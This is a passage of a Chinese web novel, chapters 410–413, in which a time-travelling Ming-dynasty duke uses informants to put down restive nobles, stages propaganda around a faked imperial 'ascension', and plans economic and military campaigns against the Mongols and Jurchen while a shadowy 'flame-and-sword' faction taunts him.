“愿国公爷……心想事成。”
这话里有话,苏惟瑾深深看她一眼,也干了。
正热闹着,胡三匆匆进来,附耳低语几句。
苏惟瑾脸色微变,放下酒杯。
“夫君?”陈芸娘关切地问。
“无事,”苏惟瑾挤出一丝笑。
“朝中有些琐事,我去去就来。”
他起身离席,跟胡三走到书房。
门一关,胡三急道。
“公子,出事了。”
“西山那两股合流的势力,昨儿半夜突然消失,不知去向。”
“咱们的人跟丢了。”
“多少人?”
“至少三百,都是精锐。”
“装备精良,还有火器。”
苏惟瑾眉头紧皱。
三百精锐,在京城眼皮子底下消失了?
这可不是小事。
“还有,”胡三继续道。
“聊城那边又传来消息。”
“张振家那血字旁边,又发现了新东西——是个标记,画在地上,用血画的。”
“什么标记?”
“像是一把剑,插在火焰里。”胡三比划着。
“跟当年咱们在密信上截获的那个‘火焰缠剑’标记,一模一样。”
苏惟瑾瞳孔骤缩。
火焰缠剑。
那是郭勋余党的标记!
可郭勋早就**,余党也被清剿得差不多了,怎么又冒出来了?
除非……当年死的那个郭勋,根本就不是真正的首领。
真正的黑手,一直藏在暗处。
“公子,”胡三压低声音。
“还有件事。”
“天津卫那边传来急报,**那十二艘战船……突然调头南下了。”
“南下?去哪?”
“方向是……登州。”
登州?
苏惟瑾脑中电光石火般闪过一个念头。
登州卫指挥使上个月“暴毙”,新指挥使还没到任。
登州水师现在群龙无首,**若突袭……
“传令!”苏惟瑾猛地转身。
“让月港水师全速北上,拦截**!”
“再传令登州卫,全员戒备!”
“是!”
胡三匆匆离去。
苏惟瑾站在书房窗前,望着外面漆黑的夜色。
新政才颁布,暗流已经涌动。
火焰缠剑标记重现,西山势力消失,**战船南下……
这三件事,看似无关,可超频大脑瞬间将它们串联起来——这是一个局。
一个针对他苏惟瑾,针对新朝的大局。
而布局的人,显然比严嵩更难对付。
因为他藏在暗处,你甚至不知道他是谁。
苏惟瑾握紧拳头。
权力顶峰,果然是悬崖边缘。
新政初颁,暗流已至。
火焰缠剑标记重现江湖,预示郭勋余党死灰复燃。
西山三百精锐神秘消失,不知去向。
**战船突然南下登州,意图不明。
而更诡异的是,当夜文国公府书房桌上,突然多了一封信。
信封无字,里面只有一张白纸,纸上用朱砂画着一把剑插在火焰中,下面一行小字:
“飞升戏法,演得不错。”
“接下来,该看我们的了。”
信是什么时候放的?
谁放的?
府中护卫竟无一人察觉!
苏惟瑾的超频大脑疯狂运转,却推演不出这神秘对手的下一步棋。
而此刻,皇宫深处,六岁的小皇帝朱载重半夜惊醒,哭喊着对值夜太监说。
“有人……有人站在朕床前……”
“穿着黑衣服,对朕笑……”
棋局之上,真正的对手,终于要落子了。
第411章 旧贵暗流涌,瑾定安内策
文国公府那封神秘信件出现后的第七天,京城的清晨依旧平静。
卖炊饼的王老汉照旧出摊,边揉面边跟老主顾唠嗑:“听说了没?武安侯爷高升了!左军都督府佥事,正二品呢!”
“可不是嘛,”旁边卖菜的老张头搭腔,“文国公爷大方,听说还赏了五千两银子,一匹大宛良马。侯爷家三公子还要娶礼部刘侍郎的闺女——那可是文国公爷的门生!”
“啧啧,这就叫会做人。”王老汉把面团拍得啪啪响,“严阁老那会儿,哪有这好事?”
市井百姓看来,这是新朝气象,**行赏,皆大欢喜。
可武安侯府书房里,气氛却没那么简单。
“父亲,这摆明了是明升暗降!”
说话的是郑亨的长子郑彪,三十来岁,长得五大三粗,性子也冲。“左军都督府佥事听着好听,可那是虚衔!您原来掌着神机营三千兵马,现在呢?就管些文书档案!这苏惟瑾分明是削您的权!”
郑亨坐在太师椅上,五十来岁的年纪,国字脸,络腮胡,一双眼睛半眯着,手里把玩着两个铁核桃。
“老子知道。”他声音低沉,“可你能怎样?冲进文国公府砍了他?”
“咱们可以……”郑彪压低声音,“联络其他几家。成国公虽倒了,可定国公、英国公那边,心里能没想法?还有那些卫所旧部,父亲您当年在宣府带过的兵,现在好几个都是千户、守备……”
“住口!”郑亨猛地睁眼,铁核桃“咔嚓”一声捏紧,“这话传出去,咱全家都得进诏狱!”
郑彪不服气:“那咱们就认了?他苏惟瑾一个书童出身,二十六岁的小子,凭什么骑在咱们这些**勋贵头上?”
“凭什么?”郑亨冷笑,“凭人家把严嵩扳倒了,凭人家让陛下‘飞升’了,凭现在京营、锦衣卫都在他手里!你拿什么跟人家斗?就靠你那一膀子力气?”
郑彪被噎得说不出话。
郑亨站起身,走到窗前。院子里,那匹苏惟瑾赏的大宛马正在吃草,浑身枣红,神骏非凡。五千两银子的赏钱堆在库房,刘侍郎嫁女的庚帖也送来了——刘侍郎是苏惟瑾一手提拔的,这婚事什么意思,不言而喻。
“他这是给咱套笼头呢。”郑亨喃喃道,“先给甜头,让你放松警惕。等咱真信了,露出破绽,再一刀……”
“那咱不吃这甜头!”郑彪急道。
“不吃?”郑亨转身,盯着儿子,“五千两银子,你不要?正二品官职,你不当?刘侍郎的闺女,你不娶?你知道京里多少人家盯着这门亲事吗?”
郑彪语塞。
名利二字,最难割舍。
“先接着。”郑亨缓缓道,“看看他下一步棋怎么走。咱也不能坐以待毙……你去趟保定,找你二叔,他在那儿当指挥同知,手底下有兵。再派人去趟大同,找王参将——记住,悄悄去,别让人盯上。”
“明白!”郑彪眼睛一亮。
父子俩密议时,他们不知道,隔着两条街的“云裳阁”总号三楼,胡三正捧着个本子,嘴里念念有词:
“辰时一刻,郑彪出府,往东市方向,在‘张记茶楼’与定国公府管事‘偶遇’,交谈半刻钟……嚯,定国公也坐不住了。”
他笔下飞快,记录着各处眼线传来的消息。
云裳阁这套情报网,如今已不是简单的商业网络。借着丝绸、茶叶生意,苏惟瑾在各地铺开了上千个“点”——掌柜、伙计、车夫、甚至青楼女子,只要给钱,都能成为眼睛和耳朵。
郑亨以为自己的密谋神不知鬼不觉,可从他儿子出府那一刻起,行踪就被盯**。
“还有,”胡三翻到下一页,“山东聊城那边回信了。张振家那血字和标记,当地有个老秀才说,四十年前见过类似的——那时候还是正德年间,京城出过一桩‘白莲教案’,教众身上就有这火焰缠剑的纹身。”
白莲教?
胡三眉头紧锁。这可是麻烦,白莲教历朝历代都剿不干净,野火烧不尽,春风吹又生。
他合上本子,匆匆赶往文国公府。
……
苏惟瑾正在书房里看孔闻韶送来的《飞升圣典》初稿。
这老翰林办事效率高,短短七天,就拉了个班子,把从黄帝乘龙到宋徽宗梦游神霄的历代帝王“飞升传说”整理了一遍,还“考证”出不少“新发现”。
比如其中一段:“……考《山海经·西山经》,有载‘昆仑之丘,有神人居焉,乘云气,御飞龙’。此即飞升之象也。汉武帝好神仙,尝登泰山封禅,夜梦乘龙上天,醒后立‘飞仙台’于甘泉宫……今嘉靖皇帝飞升,实承上古遗风,合天道正统……”
写得一本正经,引经据典,要不是苏惟瑾知道内情,差点都信了。
“国公爷,”孔闻韶坐在下首,捻须微笑,“这《圣典》编成后,臣拟请陛下下旨,颁行天下。各府州县学宫需教授,寺庙道观需诵读,乡约亭所需宣讲。如此不过三年,‘陛下飞升’便成铁案,任谁也不敢质疑。”
苏惟瑾点头:“孔公费心。不过,光有文字还不够。”
“国公爷的意思是……”
“得让百姓‘看见’。”苏惟瑾放下书稿,“找些画师,把飞升场面画出来,制成版画,廉价售卖,让家家户户都能贴在墙上。再编些俚曲、说书段子,让茶楼酒肆传唱。还有,各地建‘飞升祠’,供奉陛下神位,香火钱朝廷补贴。”
这一套组合拳下来,**铁幕就铸成了。
到那时候,谁说“飞升是假”,不用官府出手,百姓第一个不答应——你这不是质疑神仙吗?万一神仙降罪怎么办?
孔闻韶听得目瞪口呆,半晌才叹服:“国公爷……真乃神人也。”
正说着,胡三来了。
听完汇报,苏惟瑾沉吟片刻。
“郑亨那边,先放着。”他手指敲着桌面,“给他儿子和劉侍郎闺女的婚事,办得热闹点,赏赐再加一倍。让所有人都知道,跟着我苏惟瑾,有肉吃。”
“那他要真联络旧部……”
“让他联络。”苏惟瑾笑了,“正好看看,还有哪些人不安分。一网打尽,省得以后麻烦。”
胡三会意,又问:“那白莲教的事……”
“查。”苏惟瑾眼神转冷,“顺着聊城那条线,往深里挖。火焰缠剑……我总觉得,这不只是白莲教那么简单。”
正事谈完,孔闻韶和胡**下。
苏惟瑾独自坐在书房里,超频大脑开始运转。
郑亨为代表的旧勋贵,是明面上的威胁,好对付。分化、拉拢、威慑,三板斧下去,多半就老实了。
真正的麻烦,是那火焰缠剑标记背后的势力。
能从戒备森严的文国公府送进信,能指挥**十二艘战船,能让西山三百精锐凭空消失——这能量,绝非寻常白莲教能有的。
而且,对方似乎对他的“飞升戏法”了如指掌。
“知道内情的,除了我、鹤岑、周大山、惟奇等核心几人,就只有……”苏惟瑾猛地睁开眼。
西山地下陵寝里,那个还在昏睡的嘉靖皇帝。
难道……
他摇摇头,不可能。那地方除了他和周大山,没人知道。送饭的都是哑奴,完事后都处理干净了。
那对方是怎么知道的?
超频大脑疯狂推演,无数线索交织碰撞,最终指向一个可能性:对方有内线,而且这内线,地位不低,能接触到核心机密。
会是谁?
苏惟瑾脑海中闪过一张张面孔:鹤岑?周大山?苏惟奇?还是文渊阁里那几位……
他深吸一口气,压下心头的不安。
棋局到了这一步,看的就是谁先犯错。
他不能急。
……
五日后,武安侯府张灯结彩。
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>郑彪娶亲,娶的是礼部侍郎刘墉的闺女。这场婚事办得极其排场,文国公府送来厚礼:黄金千两,玉如意一对,东海明珠一斛。苏惟瑾还亲自题了匾额:“佳偶天成”。
郑亨穿着簇新的侯爵礼服,站在府门前迎客,脸上堆着笑,心里却像压了块石头。
定国公、英国公都来了,贺礼丰厚,言语客气,可眼神里的试探,藏不住。
“郑侯爷好福气啊,”定国公徐光祚拍着他肩膀,“攀上文国公这门亲,往后可就顺风顺水了。”
“哪里哪里,”郑亨干笑,“都是国公爷抬爱。”
“听说令郎要补缺通州卫指挥佥事?”英国公张仑凑过来,“那可是肥缺。文国公对侯爷,真是没得说。”
两人一唱一和,话里有话。
郑亨只能赔笑。
酒过三巡,郑亨借故离席,回到书房。郑彪跟进来,脸喝得通红:“父亲,今天这面子,给得够足了吧?刘侍郎那闺女,聘礼就收了八千两!”
“面子?”郑亨冷笑,“面子是给了,里子呢?通州卫指挥佥事听着好听,可通州卫的兵权早被周大山收走了,去了就是个空架子!”
“那咱们……”
“等。”郑亨咬牙,“等大同、保定那边消息。只要兵在手,他苏惟瑾就得掂量掂量。”
正说着,管家匆匆进来,脸色煞白:“侯爷,不好了!大同传来急信,王参将他……他被锦衣卫拿了!”
“什么?!”郑亨霍然起身。
“罪名是‘私通蒙古,贩卖军器’。昨儿半夜动的,人赃并获,直接押送进京了!”
郑亨腿一软,跌坐在椅子上。
保定呢?
不用问,肯定也出事了。
苏惟瑾哪是给他套笼头,这是把笼头套上,绳子攥在手里,随时能勒紧!
“父亲,现在怎么办?”郑彪也慌了。
郑亨瘫在椅子里,半晌,苦笑一声:“还能怎么办?明天一早,我去文国公府……谢恩。”
他算是看明白了。
这位二十六岁的文国公,玩起权术来,比他这个混了几十年的老勋贵,狠多了。
……
文国公府,书房。
苏惟瑾听完周大山的汇报,点点头:“郑亨认怂了?”
“认了。”周大山咧嘴,“今儿一早来府里,磕头谢恩,说往后唯国公爷马首是瞻。那态度,恭敬得跟孙子似的。”
“那就好。”苏惟瑾端起茶盏,“大同、保定那边,都清理干净了?”
“干净了。抓了七个,都是跟郑亨有旧,又不安分的。罪名都坐实了,翻不了案。”
苏惟瑾抿了口茶。
旧勋贵这一波反弹,算是压下去了。接下来,就该集中精力,对付那火焰缠剑了。
正想着,胡三又匆匆进来,这次脸色更难看。
“公子,聊城那边……出大事了。”
“说。”
“咱们派去查白莲教线索的三个人,”胡三声音发颤,“全**。尸体在城外乱葬岗发现,死状……跟张振家一模一样。墙上也有血字——”
他顿了顿,一字一句道:
“下一个,轮到你。”
---
旧贵暗流刚平,白莲教凶案又起。
三名精干探子神秘死亡,死状诡异,现场再现血字威胁。这意味着对方不仅知道苏惟瑾在查,还敢公然挑衅。
更蹊跷的是,当夜紫禁城值夜太监发现,小皇帝朱载重寝宫的窗户上,不知被谁用血画了个小小的火焰缠剑标记。
小皇帝吓得高烧不退,梦呓中反复念叨:“红衣……红衣姐姐……”
而苏惟瑾的超频大脑在复盘所有线索时,突然发现一个被忽略的细节:
那封神秘信件上的朱砂,经比对,竟与宫中御用朱砂的配方完全一致——这暗示,内鬼可能就在皇宫大内!
暗处的对手,终于从阴影中,探出了獠牙。
第412章 瑾定北疆策,经济先统蒙
聊城血案的阴影还没散,文国公府书房里的灯,又亮了一整夜。
苏惟瑾站在那张巨大的《大明九边舆图》前,目光落在北边那片空白处——那里代表草原,代表蒙古鞑靼部。嘉靖朝二十多年,蒙古人几乎年年犯边,大同、宣府、蓟镇,哪个地方没挨过抢?朝廷年年拨军饷,将士年年流血,可这北疆之患,就像韭菜,割一茬长一茬。
“公子,”胡三悄声进来,“查过了。那三个兄弟身上的伤口……不是寻常刀剑所伤。”
“嗯?”苏惟瑾转过头。
“像是……铁爪。”胡三比划着,“五道爪痕,入肉三分,直接抓穿肋骨,掏了心。这手法,江湖上没听说过。”
苏惟瑾眉头紧锁。火焰缠剑,白莲教,现在又冒出个使铁爪的?这潭水,越来越浑了。
“继续查。”他摆摆手,“还有,宫里那标记……”
“查了。御用朱砂的配方是工部管着,能接触到的,除了工部官员,就是内官监几个老太监。”胡三顿了顿,“可这些人,都没嫌疑。”
“那就是有人能弄到配方。”苏惟瑾眼神转冷,“或者说……宫里有人,把配方泄出去了。”
他揉了揉太阳穴。内患未平,外忧又至。可眼下最紧要的,还不是这些暗处的鬼蜮伎俩,而是摆在明面上的北疆之患——蒙古鞑靼部的新首领俺答,今年开春又集结了三万骑兵,正在大同外头晃悠呢。
“传令,”苏惟瑾转身,“明日朝会,议北疆事。”
……
第二天,文华殿。
小皇帝朱载重坐在龙椅上,依旧一脸懵懂。不过今天他手里多了个玩意儿——苏惟瑾让人做的“积木龙”,小孩抱着玩,倒是安分不少。
“北疆急报,”兵部尚书杨博出列,“俺答部三万众,已至大同边墙百里外。大同总兵王崇古请调京营援兵两万,粮草十万石。”
殿内一阵骚动。
又来了。
年年如此,春来秋去,蒙古人就像准时来串门的恶客,你不给,他就抢。
“打呗!”一个粗嗓门响起。
说话的是五军都督府右都督马芳,老将了,今年六十有二,须发皆白,可嗓门依旧洪亮:“咱们京营十万精锐,九边还有二十万!调集兵马,跟俺答干一场!打疼他,让他十年不敢再来!”
几个武将跟着附和:“马都督说得对!”
“是该打一场狠的!”
文官队列里,户部尚书方钝忍不住了:“打?说得轻巧!兵马未动,粮草先行。十万大军出塞,一天要耗多少粮草?多少银钱?去年河南旱灾,赈灾银还没凑齐呢!”
“那你说怎么办?”马芳瞪眼,“就眼睁睁看着蒙古人抢?”
“可以……可以议和。”方钝小声道,“给些赏赐,让他们退兵……”
“放屁!”马芳直接爆粗,“你这是资敌!蒙古人贪得无厌,今年给了,明年还来!老子在宣府跟蒙古人打了三十年,还不知道他们什么德行?”
两人吵得脸红脖子粗,殿内乱成一团。
苏惟瑾一直没说话。
他站在御阶下,闭着眼,超频大脑正在疯狂运转。
打?确实能打疼,可打完呢?蒙古人败了,退回草原,休养几年,又卷土重来。周而复始,永无宁日。
和?更不行。示弱只会让对方得寸进尺。
那怎么办?
现代知识库里,无数案例闪过:经济制裁、文化输出、贸易控制……一个词跳了出来——经济殖民。
对,不是用刀剑,而是用茶叶、丝绸、瓷器,用白花花的银子,用他们离不开的奢侈品,慢慢蚕食,慢慢绑定。
等他们发现,自己的羊毛只能卖给大明,自己的贵族子弟都在大明读书,自己喝的茶、穿的绸,全都来自大明时——他们还敢轻易动刀兵吗?
“诸位,”苏惟瑾睁开眼。
殿内瞬间安静。
所有人都看向他。
“马都督要打,方尚书要和。”苏惟瑾缓步走到殿中央,“可打有打的坏处,和有和的弊端。本公倒有个法子——不打,也不和。”
“不打不和?”马芳皱眉,“那怎么办?”
“咱们换个思路。”苏惟瑾转身,面向百官,“蒙古人为什么要犯边?”
“这还用问?”马芳嗤笑,“穷呗!草原上要啥没啥,不抢咱们,他们吃啥?”
“对,穷。”苏惟瑾点头,“那咱们就让他们……富起来。”
殿内一片寂静。
所有人都以为自己听错了。
让蒙古人富起来?文国公这是疯了?
“国公爷,”方钝小心翼翼,“您这话……老臣不懂。”
“很简单。”苏惟瑾竖起三根手指,“第一,开互市。但不是以前那种粗放的互市,咱们要定规矩——大明只出口茶叶、丝绸、瓷器、香料这些奢侈品,进口只收马匹、皮**、药材。铁器、粮食、盐巴,一律禁运。”
“第二,派商队深入草原。高价收购羊毛——比现在市价高三成。让蒙古牧民知道,养羊剪**,比养马打仗来钱快。等他们慢慢弃牧从织,经济命脉就握在咱们手里了。”
“第三,在边境设‘归化学堂’。专收蒙古贵族子弟,教汉文、儒学,学得好的,许他们在大明做官——不用大官,给个虚衔,领份俸禄就行。”
三条策略说完,殿内鸦雀无声。
所有人都被这“异想天开”的主意震住了。
半晌,马芳才憋出一句:“文国公……您这是……要把蒙古人当猪养?”
“不是当猪养,”苏惟瑾摇头,“是让他们离不开大明。”
他走到那张舆图前,手指划过长城线:“诸位想想,十年后,蒙古人是离得开大明的茶叶,还是离得开大明的丝绸?他们的贵族子弟在大明读书做官,他们的牧民靠卖羊毛过活——到那时候,他们还敢轻易动刀兵吗?动了刀兵,茶叶谁给?丝绸谁给?羊毛卖给谁?”
“可……可这要花多少银子?”方钝算账算惯了,第一时间想到钱。
“花不了多少。”苏惟瑾心里早有算盘,“互市咱们赚大头,奢侈品利润最少五成。收购羊毛看起来亏,可咱们转头就能织成毛呢,卖到江南、海外,又是几倍利润。至于归化学堂——养几个学生,能花几个钱?换来的是蒙古下一代贵族的亲明之心,这笔账,不亏。”
他顿了顿,声音转冷:“反倒是年年打仗,军费动辄百万两,将士死伤无数,边境百姓流离失所——那才是真正的亏本买卖!”
这话说得掷地有声。
文官们开始窃窃私语,有人点头,有人沉思。
武将那边,马芳还是不乐意:“可这……这也太憋屈了!咱们大明,什么时候要靠这些小手段对付蛮夷了?”
“马都督,”苏惟瑾看着他,“您今年六十有二,在宣府打了三十年仗。本公问您,这三十年,您杀了多少蒙古人?”
“少说也有几千!”马芳挺胸。
“那蒙古人总数,是增了还是减了?”
马芳一愣。
“本公替您答。”苏惟瑾淡淡道,“嘉靖初年,蒙古鞑靼部控弦之士不过五万。如今,俺答手下就有三万精锐,整个鞑靼部,能战之兵不下十万——越打越多。”
“那是因为……”
“因为杀不光。”苏惟瑾打断他,“草原那么大,你追他跑,你退他来。耗的是咱们的国力,肥的是
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边将的腰包——这话难听,但是实情。”
马芳脸色涨红,想反驳,却说不出话。
“本公这法子,”苏惟瑾环视全场,“不用**,不用耗粮,只要十年——十年后,蒙古人就会像离不开水的鱼,离不开大明的茶碗。到那时候,不是咱们求他们别犯边,是他们求咱们别断货!”
他转身,朝龙椅上的小皇帝躬身:“陛下,此策若行,二十年內,北疆可定。臣请旨,试行于大同。”
小皇帝正玩积木呢,抬头茫然地看了看他,又看了看旁边的司礼监太监。
太监小声道:“陛下,文国公说要打蒙古人……不用刀。”
“哦,”朱载重点头,“那……那就准吧。”
“谢陛下。”苏惟瑾直起身。
朝会散了。
百官走出文华殿,三三两两议论着。马芳闷着头往外走,方钝追上去:“马都督,您觉得文国公这法子……”
“邪门!”马芳甩下一句,“可……好像有点道理。”
他打仗打了一辈子,最清楚蒙古人的脾性——你要真跟他硬碰硬,他能跟你死磕到底。可你要给他点甜头,慢慢磨……说不定真行?
方钝捻须沉思:“若是真能成……这可是千古未有的奇策啊。”
……
文国公府,书房。
苏惟瑾正在写细则。
超频大脑调出后世“东印度公司”的贸易模型,结合明代实际情况,一条条细化:互市地点选在哪里,税收怎么定,商队如何组织,羊毛收购价怎么浮动,归化学堂教什么课程……
正写着,胡三又来了。
“公子,有新消息。”他压低声音,“**那十二艘战船……没去登州。”
“嗯?”
“他们在海上兜了一圈,又调头往北了。现在的位置……离天津卫不到二百里。”
苏惟瑾笔尖一顿。
天津卫?那可是京畿门户。
“还有,”胡三继续道,“西山那三百消失的精锐,有眉目了。咱们的人在房山一带发现踪迹,他们……好像在挖什么东西。”
“挖什么?”
“不知道。但那个地方,老辈人说……是前朝一个王爷的陵墓。”
王爷陵墓?
苏惟瑾眉头紧锁。三百精锐,不干正事,跑去挖坟?
除非……那坟里,有他们想要的东西。
“盯紧。”他沉声道,“还有,查查那个王爷的来历。我要知道,他生前是干什么的,死后埋了什么。”
“是。”
胡**下后,苏惟瑾放下笔,走到窗前。
北疆的战略刚定,海上的威胁又至,地下的秘密也将浮出水面。
这盘棋,越来越复杂了。
而那个火焰缠剑标记背后的对手,至今还没露脸。
他到底想要什么?
---
北疆经济殖民战略刚定,海上陆上危机接踵而至。
**战船逼近天津卫,意图不明。西山三百精锐神秘挖掘前朝王陵,所寻何物?
更诡异的是,当夜苏惟瑾在书房撰写北疆细则时,窗外突然飘进一片纸——纸上画着火焰缠剑标记,下面一行小字:
“羊毛换刀兵?好计策。可惜,你等不到十年了。”
纸是从哪来的?府中护卫依旧毫无察觉!
而与此同时,大同边关传来急报:俺答部三万骑兵突然拔营,不是南下,而是……向西去了。方向是——河套。
那里是蒙古右翼的领地,也是大明、蒙古、西域三方交汇之处。
苏惟瑾的超频大脑猛然警醒:**战船、西山挖坟、俺答西进——这三件事,看似毫无关联,可若连成一条线……
对手的棋,下得比他想象中更大。
第413章 东北犁庭计,瑾谋百年基
文国公府书房那张《大明九边舆图》上,北边那片空白处,又被苏惟瑾用朱笔画了几个圈。
河套、大同、蓟镇……最后,笔尖落在了东北角——辽东。
“公子,”周大山指着地图,“俺答那三万骑往西去了河套,看样子不是冲着咱们来的。可辽东那边……建州女真又闹起来了。”
苏惟瑾盯着地图,超频大脑调出记忆库里的资料。
建州女真,万历朝后期努尔哈赤的祖先,现在还是个不起眼的部落联盟。可就是这个“不起眼”,几十年后会成长为大明的心腹大患。
“怎么闹的?”他问。
“抢了开原卫三个村子,杀了七十多人,掳走青壮一百多,粮食牲畜全抢光了。”周大山咬牙,“辽东总兵李成梁报上来,说要发兵剿。”
“剿?”苏惟瑾冷笑,“李成梁在辽东十几年,剿了多少次?越剿女真越强。他现在手下那些‘家丁’,一半都是女**吧?”
周大山语塞。这事儿不是什么秘密,李成梁养寇自重,朝廷睁只眼闭只眼。
“这次不一样。”苏惟瑾手指敲着地图,“咱们要换个法子。”
……
三天后,文华殿朝会。
小皇帝朱载重今天没玩积木,改玩九连环了——也是苏惟瑾让人做的,小孩专心解环,朝堂上吵翻天也不理。
“陛下,辽东急报!”兵部尚书杨博捧着奏章,“建州女真王杲部,纠集三千众,犯开原、铁岭,杀掠甚众。辽东总兵李成梁请调蓟镇援兵五千,粮草八万石。”
殿内又是一阵骚动。
北边蒙古还没消停,东边女真又闹起来了。
“打!”马芳第一个跳出来,“这帮野人,三天不打上房揭瓦!调兵,往死里打!”
他这回学聪明了,先看向苏惟瑾:“文国公,您说呢?”
苏惟瑾没直接回答,反而问杨博:“杨尚书,嘉靖元年至今,辽东跟女真打了多少仗?”
杨博翻着册子:“这个……大小战事,不下百次。”
“斩首几何?”
“累计……两万余级。”
“那我问诸位,”苏惟瑾环视全场,“这二十多年,女真是越打越弱,还是越打越强?”
殿内安静了。
谁都知道答案——越打越强。嘉靖初年,女真各部加起来不过万把人,现在王杲一部就能拉出三千兵。
“所以,”苏惟瑾缓缓道,“光打,没用。”
“那文国公的意思是……”马芳皱眉。
“犁庭扫穴。”苏惟瑾吐出四个字。
“啥意思?”
“就是连根拔起。”苏惟瑾走到舆图前,手指划过辽东,“调辽东精兵两万,以巡边为名,突袭建州女真老巢。不跟他们野战,专毁村寨、烧粮储、俘青壮——把他们赖以生存的根基,彻底铲除。”
殿内响起倒吸冷气的声音。
这手段……太狠了。
“文国公,”都察院左都御史何鳌——这位严嵩倒台后提拔上来的,还算老实——小心翼翼道,“此举……恐有伤天和啊。女真虽为蛮夷,亦是生灵……”
“何大人,”苏惟瑾转头看他,“开原卫那七十多个百姓,是不是生灵?被掳走那一百多青壮,是不是生灵?他们的命,就不值钱?”
何鳌被噎得说不出话。
“光打还不够。”苏惟瑾继续道,“打完,咱们要占住。在松花江、辽河流域,设军屯卫所,从山东、河北迁徙流民过去实边。每户授田五十亩,免赋三年。让他们在那儿安家落户,生儿育女。”
“这……”户部尚书方钝忍不住了,“文国公,那辽东苦寒之地,百姓不愿去啊!”
“所以咱们得让他们愿意。”苏惟瑾早有准备,“第一,授田。山东、河北人多地少,一家五六口挤十几亩地,日子紧巴巴。去辽东,给五十亩,还是黑土地——诸位可知,辽东的黑土地,亩产可达江南良田的七成?”
“七成?!”方钝瞪大眼,“不可能!那苦寒之地……”
“方尚书不信?”苏惟瑾笑了,“本公已调集格物学堂农学专家,培育了耐寒稻种、麦种,今春就在辽东试种。结果秋天便知。”
他顿了顿,声音提高:“第二,咱们要开发东北。勘探矿藏——辽东有煤有铁,本公已派人查实。兴建道路,疏通漕运,把辽东和中原连起来。一旦开发起来,那地方就是第二个江南——不,是塞外粮仓!”
这话石破天惊。
朝堂上炸开了锅。
“荒谬!”一个苍老的声音响起。
说话的是礼部右侍郎、翰林院侍讲学士徐溥,七十多岁的老翰林,三朝元老,平时不太说话,可一旦开口,分量极重。
“文国公,”徐溥颤巍巍出列,“老臣有一言,不得不说。”
“徐老请讲。”苏惟瑾恭敬道——对这位真正有学问的老臣,他向来尊重。
“辽东乃蛮荒之地,历代皆以羁縻之策治之。投入巨万,移民实边,开发矿藏……此乃劳民伤财之举!”徐溥激动得白胡子直抖,“且不说能否成功,就算成了,又能如何?蛮夷之地,得不偿失啊!”
他这一带头,几个老臣跟着附和:
“徐老说得对!”
“蛮荒之地,不值得!”
“还请文国公三思!”
苏惟瑾静静听着,等他们说完,才缓缓开口:“徐老,您今年高寿?”
“七十有三。”徐溥昂首。
“那您可知,三百年前,南宋时,江南是什么样子?”
徐溥一愣。
“那时候的江南,大部分还是沼泽荒地,中原人视为‘瘴疠之地’。”苏惟瑾朗声道,“可经过宋元两代开发,如今江南已成天下粮仓,赋税占全国四成——徐老,这算不算‘得不偿失’?”
“这……”徐溥语塞。
“再说近的。”苏惟瑾转向其他人,“洪武年间,云南还是土司林立,朝廷发兵三十万征讨,**多少人?花了多少钱?可现在呢?云南已设行省,汉夷杂处,铜矿、盐井,岁入百万两——这又算不算‘得不偿失’?”
他每问一句,就向前一步。
几个老臣被他气势所慑,下意识后退。
“今日一寸土,子孙万代基。”苏惟瑾站定,声音斩钉截铁,“诸位只看到眼下投钱投人,可曾想过,一旦东北开发成功,大明就多了个塞外粮仓,多了条稳固的北疆防线?女真、蒙古,再也成不了气候!”
他转身,朝龙椅上的小皇帝躬身:“陛下,臣请旨:一,调兵犁庭,肃清建州女真;二,设军屯卫所,移民实边;三,开‘大东北开发司’,专司矿藏勘探、道路修建、农事改良。此三策若行,二十年内,东北必成大明稳固疆土!”
小皇帝还在解九连环,好不容易解开一环,高兴地抬头:“准了准了!”
“谢陛下。”苏惟瑾直起身。
朝会散了。
徐溥被两个门生搀着往外走,一路摇头叹息:“年轻人……太急进了……”
马芳追上来:“徐老,您觉得文国公这法子……”
“法子是好的。”徐溥叹气,“就是……太狠,太急。可话说回来,咱们这些老骨头,还能活几年?这天下,终究是年轻人的。”
……
十天后,辽东。
李成梁接到兵部文书时,手都在抖。
“犁庭扫穴……这、这是要绝了女真的根啊!”
他手下副将赵完小声问:“总兵,咱们……真这么干?”
“干!”李成梁咬牙,“文国公下的令,你敢不干?调兵,两万精锐,三日后出发!”
三日后,明军突袭建州女真老寨。
王杲根本没想到明军会直接掏他老窝——往常
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都是他们抢完就跑,明军追一阵就撤。可这次不一样,明军像疯了一样,见寨就烧,见粮就毁,见青壮就抓。
一场仗打下来,女真三十七个寨子被毁,粮储烧光,俘虏青壮两千多。王杲带着残部逃进深山,没个三五年缓不过来。
仗打完,李成梁按苏惟瑾的吩咐,开始在松花江、辽河流域设立军屯卫所。
山东、河北的流民一听说去辽东能给五十亩地,还免三年赋税,报名的人挤破了头。第一批三千户,拖家带口,浩浩荡荡开赴辽东。
格物学堂的农学专家也跟着去了,带着耐寒稻种、新式农具。工部的勘探队在山里发现了铁矿、煤矿,测绘队开始绘制详细地图。
一场改变历史走向的大开发,悄然启动。
……
一个月后,文国公府。
苏惟瑾看着辽东送来的第一份开发报告,点了点头。
“公子,”胡三进来,“西山那边……挖出东西了。”
“什么?”
“那个前朝王爷的陵墓,被他们挖开了。里头……没有棺材。”
苏惟瑾皱眉:“没有棺材?”
“没有。只有一具白骨,穿着道袍,身边摆着些法器。还有……一卷帛书。”
“帛书上写的什么?”
胡三从怀里掏出个油纸包,小心展开——是拓本。
苏惟瑾接过来一看,眉头越皱越紧。
帛书上用朱砂写着密密麻麻的字,不是汉文,也不是蒙文,更像某种……符咒。但其中有几个字他认识:
“紫微陨落,真龙归位。火焰重燃,剑指天下。”
落款处,画着一把剑,插在火焰中。
“这王爷什么来历?”苏惟瑾问。
“查了。是正德朝的一个郡王,叫朱祐榉,封‘宁王’。正德十四年因为‘谋逆’被废,囚禁至死。”胡三顿了顿,“可奇怪的是,史书上说他葬在南昌,怎么墓会在西山?”
苏惟瑾盯着那火焰缠剑标记,脑中电光石火般闪过一个念头。
宁王……正德十四年……谋逆……
“这个宁王,”他缓缓道,“是不是……也信道教?也炼过丹?”
胡三一愣:“公子怎么知道?史书载,这位宁王确实‘好道术,喜炼丹’,还在府里养了一群道士。”
苏惟瑾握紧了帛书。
火焰缠剑,白莲教,铁爪**,宁王陵墓,炼丹……
这些碎片,开始拼凑出一个模糊的轮廓。
“还有,”胡三继续道,“天津卫来报,**那十二艘战船……突然消失了。”
“消失?”
“三天前还在海上,昨天一早,不见了。附近海域找遍了,没有。”
